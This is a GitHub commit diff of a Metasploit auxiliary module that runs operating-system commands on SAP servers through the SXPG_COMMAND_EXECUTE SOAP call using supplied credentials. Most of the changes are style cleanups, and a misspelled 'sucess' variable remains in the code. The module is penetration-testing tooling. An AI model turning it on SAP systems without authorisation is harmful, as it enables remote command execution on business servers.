Skip to content

Commit aa3cd50

Browse files
committed
made requested changes
1 parent 509e632 commit aa3cd50

File tree

1 file changed

+24
-25
lines changed

1 file changed

+24
-25
lines changed

modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb

Lines changed: 24 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -6,13 +6,13 @@
66
##
77

88
##
9-
# This module is based on, inspired by, or is a port of a plugin available in
10-
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
1111
# http://www.onapsis.com/research-free-solutions.php.
12-
# Mariano Nuñez (the author of the Bizploit framework) helped me in my efforts
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
1313
# in producing the Metasploit modules and was happy to share his knowledge and
14-
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15-
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
14+
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15+
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
1616
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
1717
##
1818

@@ -27,11 +27,11 @@ class Metasploit4 < Msf::Auxiliary
2727
def initialize
2828
super(
2929
'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE',
30-
'Version' => '$Revision',
3130
'Description' => %q{
32-
This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call (via SOAP) to execute OS commands as configured in SM69.
31+
This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call (via SOAP)
32+
to execute OS commands as configured in SM69.
3333
},
34-
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
34+
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
3535
'Author' => [ 'Agnivesh Sathasivam','nmonkee' ],
3636
'License' => BSD_LICENSE
3737
)
@@ -42,10 +42,10 @@ def initialize
4242
OptString.new('PASSWORD', [true, 'Password', nil]),
4343
OptString.new('CMD', [true, 'Command to be executed', nil]),
4444
OptString.new('PARAM', [false, 'Additional parameters', nil]),
45-
OptEnum.new('OS', [true, 'Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']]),
45+
OptEnum.new('OS', [true, 'Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']])
4646
], self.class)
4747
end
48-
48+
4949
def run_host(ip)
5050
os = datastore['OS']
5151
data = '<?xml version="1.0" encoding="utf-8" ?>'
@@ -75,10 +75,10 @@ def run_host(ip)
7575
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
7676
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
7777
'Authorization' => 'Basic ' + user_pass,
78-
'Content-Type' => 'text/xml; charset=UTF-8',
78+
'Content-Type' => 'text/xml; charset=UTF-8'
7979
}
8080
}, 45)
81-
if (res and res.code != 500 and res.code != 200)
81+
if res and res.code != 500 and res.code != 200
8282
# to do - implement error handlers for each status code, 404, 301, etc.
8383
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
8484
return
@@ -93,7 +93,7 @@ def run_host(ip)
9393
'Indent' => 1,
9494
'Columns' =>["Output",]
9595
)
96-
response = res.body
96+
response = res.body if res
9797
if response =~ /faultstring/
9898
error = response.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
9999
sucess = false
@@ -103,17 +103,16 @@ def run_host(ip)
103103
saptbl << [output[i]]
104104
end
105105
end
106-
rescue ::Rex::ConnectionError
107-
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
108-
return
109-
end
110-
if success == true
111-
print(saptbl.to_s)
112-
end
113-
if sucess == false
114-
for i in 0..error.length-1
115-
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
116-
end
106+
rescue ::Rex::ConnectionError
107+
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
108+
return false
109+
end
110+
if success
111+
print(saptbl.to_s)
112+
elsif !sucess
113+
0.upto(error.length-1) do |i|
114+
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
117115
end
118116
end
119-
end
117+
end
118+
end

0 commit comments

Comments
 (0)